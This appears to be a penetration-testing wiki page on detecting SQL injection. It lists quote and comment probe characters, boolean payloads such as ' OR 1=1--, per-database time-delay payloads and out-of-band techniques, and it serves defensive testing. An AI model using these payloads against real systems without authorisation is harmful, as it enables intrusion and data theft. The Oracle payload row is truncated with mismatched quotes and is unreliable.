Test for SQLi
Systematic detection of SQL injection vulnerabilities requires probing every entry point with payloads designed to reveal whether user input reaches the database unfiltered. The goal is to distinguish between input that is safely parameterized (no effect on query structure) and input that is concatenated into the query string (attacker-controlled).
Probe characters
Submit these individually and in combination, watching for errors, HTTP 500s, or content changes:
| Payload | Purpose |
|---|---|
' | Break out of a single-quoted string literal |
" | Break out of a double-quoted string literal (some DBMS/drivers) |
` | Break out of backtick-quoted identifiers (MySQL) |
) | Close a parenthesized sub-query or function call |
; | Terminate the current statement (stacked queries) |
;%00 | Semicolon + null byte; bypasses some trailing-data checks |
-- | Comment out the remainder of the query (note trailing space) |
--+ / --%20 | URL-encoded comment with trailing space preserved |
# | MySQL-specific comment character |
/* | Open a block comment (multi-line) |
or / and | Inject boolean logic |
SQL values can be enclosed in parentheses — treated as sub-queries that can themselves contain quotes — so the effective injection context may be nested. Don’t assume a simple ' string literal; test all three quote types and parenthesized contexts.
Boolean differential testing
Combine AND/OR with a known true and a known false condition. Most SQL implementations accept literal TRUE/FALSE; 1=1 and 1=0 work everywhere:
' OR 1=1-- (true — should return all rows / bypass restriction)
' OR 1=0-- (false — should return no rows / deny access)
A systematic difference between the true and false responses confirms injection. If the application normalizes responses (same page regardless), move to time-based detection.
Time-based confirmation
When boolean differentials fail, use conditional delays:
| Database | Payload |
|---|---|
| MySQL | ' AND IF(1=1, SLEEP(5), 0)-- |
| PostgreSQL | ' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END)-- |
| MSSQL | '; IF (1=1) WAITFOR DELAY '0:0:5'-- |
| Oracle | `’ AND (SELECT CASE WHEN 1=1 THEN ‘a’ |
A measurable delay confirms the query executed your payload. Time-based is the most reliable detection method when the application suppresses errors and normalizes responses.
Out-of-band (OAST) confirmation
For completely blind contexts (no error, no boolean, no timing), use out-of-band payloads that trigger a DNS or HTTP request to a listener you control. Burp Collaborator and interactsh are standard tools. The payload varies by DBMS but typically involves LOAD_FILE(), UTL_HTTP, or xp_dirtree with a UNC path containing a unique subdomain.
Sources
- SQL injection — PortSwigger Web Security Academy
- SQL injection cheat sheet — PortSwigger
- Testing for SQL Injection — OWASP WSTG
See also
- sql-injection-attacks — the hub page for SQLi types and defense
- database-fingerprinting — identify the DBMS to choose the right payloads
- sqlmap — automated detection and exploitation
- burp-suite — intercept and diff responses for blind SQLi